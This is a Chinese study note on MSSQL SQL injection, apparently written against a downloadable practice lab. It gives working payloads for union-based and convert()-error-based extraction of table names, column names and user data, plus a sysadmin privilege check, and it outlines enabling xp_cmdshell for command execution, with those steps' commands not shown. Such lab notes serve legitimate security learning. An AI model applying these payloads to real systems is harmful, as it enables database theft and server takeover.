靶场MSsql
链接:https://www.123pan.com/s/wXTmjv-9LYiH.html
提取码:9930
这个vmx直接用虚拟机打开,然后确保主机和虚拟机能ping通
一、默认四个系统数据库
mssql数据库是强类型数据库
master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并在所有其他数据库信息。
model数据库是一个模板数据库。:每当创建一个新的数据库(包括系统数据库的TempDB),会创建以 Model数据库为副本数据库,并更改成数据库时所用的名
msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。
tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。
- Master库
- 表名:
sysdatabases表(包含数据库所有信息,如数据库名称、状态)
sysobjects表(包含数据库所有对象的信息)
syscolumns 表 - 字段:name(对象名)、id(对象id)、xtype(对象类型代码)
其中xtype这个字段特殊性:当这个表是用户自己创建事,xtype=‘U’
- 表名:
- Model库
表名:【sysobjects表、syscolumns表】 - Msdb库
表名:【sysobjects表、syscolumns表】 - temp库
表名:【sysobjects表、syscolumns表】
每个库都有【sysobjects表、syscolumns表】这两个表
自己在MSSQL数据库中间创建一个users库,库中有User用户表
Users库
MSSOL-USERS | |||
---|---|---|---|
Sysobjects | |||
syscolumns | |||
user | |||
qita |
user表
User | |||
---|---|---|---|
username | password | id |
Users.sysobjects 表
sysobjects | |||
---|---|---|---|
name | id | xtype | |
sysobjects | 1 | s | |
syscolumns | 2 | s | |
qita | 3 | U | |
user | 4 | U |
Syscloumns | |||
---|---|---|---|
name | id | ||
username | 3 | ||
password | 3 | ||
id | 3 | ||
name | 1 | ||
id | 1 | ||
xtype | 1 |
sysobjects相当于mysql中information中的tables,用来存表名
syscolumns相当于information中的columns表,用来存字段
mysql直接用关联把字段名,表名进行关联,而mssql使用id来进行关联,用id来区分你是属于哪个表
mssql数据库只要你新建了库,都会有sysobjects(name,id,xtype)和syscolumns(name,id)这两个表,字段也是永远只有那几个。
于是只要我们知道库名,直接找库里面sysobjects和syscolumns,因为这个库里面的所有表名和字段,都会存在那两个表中
实操
1.先判断是字符型还是数字型
两次回显结果不一样,我们看看1/1,1/0是什么样子的
很显然这里是字符型,因为输入一个一个引号时说,字符串’1’'引号不完整,两个引号报错说转换int失败,报错信息是不一样的,很显然这是一个单引号注入
我们先判断权限
判断权限,如果页面回显正常则为正确,否则报错
and 1=(select IS SRVROLEMEMBER('sysadmin'))--
获取当前数据库
接下来我们正常用联合查询跑一下
id=1' order by 5--+
看一下列是否超出了5
在构造,发现4也超出,但是3不超出,所以列有3列
d=1' order by 4--+
d=1' order by 3--+
正常的语句,但是会报错,因为mssql是强类型数据库,前面是字符型,后面是数字型,所以会报错
id=1' union select 1,2,3--+
id=1' union select '1','2','3'--+
id=1' union select '1','2',db_name()--+
db_name():返回当前数据库的名称
获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH('')))--
select quotename(name) from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(‘’)
quotename(name)和mysql中group_concat(
用逗号隔开,组成新的字符串),而quotename是用中括号连接起来组成新的
这里是从test数据库的sysobjects表
dbo:是它的用户名,每次都要接上,可以用user查看
xtype=‘U’:用户类型,要指明,一般我们自己建的表,存的数据,一些网站存的数据毕竟是用户创的
FOR XML PATH(‘’):以字符型输出
我们表跑出来了,好像对我们有用的表是users,我们首先跑users表,sysobjects表和syscolumns表关联字段是id
首先我们要找到sysobjects表中users的id是多少,并且把id赋给syscolumns表
and 1=(select quotename(name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
获取数据
select top 1 quotename(username) from test.dbo.users for xml path('')
按顺序输出对应下拼接函数只能一个字段
报错
convert()
强类型转换
convert(int,db_name())=1
会直接给我们报出来,user也是一样,用1/user=1或1-user=1都可以
命令注入
首先要激发xp_cmdshell的存储过程
启动高级选项显示
让上一张图个(启动高级选项显示)生效
启用mssql的xp cmdshell功能
上一张图生效
扩展写shell
其他
本人能力有限,此学习笔记仅为个人见解,如有错误,欢迎批评指正!